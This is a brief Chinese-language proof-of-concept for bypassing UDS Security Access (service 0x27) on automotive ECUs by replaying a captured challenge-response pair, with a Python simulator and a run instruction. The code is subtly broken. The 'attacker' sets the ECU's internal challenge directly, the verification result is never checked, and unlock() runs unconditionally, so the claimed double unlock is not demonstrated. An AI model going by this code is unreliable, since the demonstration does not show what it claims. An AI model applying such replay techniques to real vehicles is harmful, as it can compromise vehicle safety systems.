概念验证漏洞利用,演示了通过挑战-响应重放绕过汽车 ECU 上的 UDS 身份验证,并附带 Python CAN-UDS 模拟器。
# uds_sim.py - ECU that authenticates with a simple challenge
import random, hashlib
class ECU:
def __init__(self):
self.secret = b'long_secret_key'
def generate_challenge(self):
self.challenge = random.randbytes(8)
return self.challenge
def verify_response(self, response):
expected = hashlib.sha256(self.secret + self.challenge).digest()[:8]
return response == expected
def unlock(self):
print("ECU unlocked! Critical functions accessible.")
# Attacker captures a valid challenge-response pair
ecu = ECU()
challenge = ecu.generate_challenge()
# Legitimate tool computes response (simplified)
response = hashlib.sha256(ecu.secret + challenge).digest()[:8]
ecu.verify_response(response) # first unlock
# Replay the same challenge-response
ecu.challenge = challenge
ecu.verify_response(response) # second unlock without new challenge - works
ecu.unlock()
汽车 ECU 实现了统一诊断服务(UDS)安全访问(服务 0x27),但未强制要求挑战值一次性使用。攻击者可捕获有效的挑战-响应配对并重放,从而绕过认证。
运行模拟:
python uds_sim.py
ECU 使用同一认证配对解锁两次。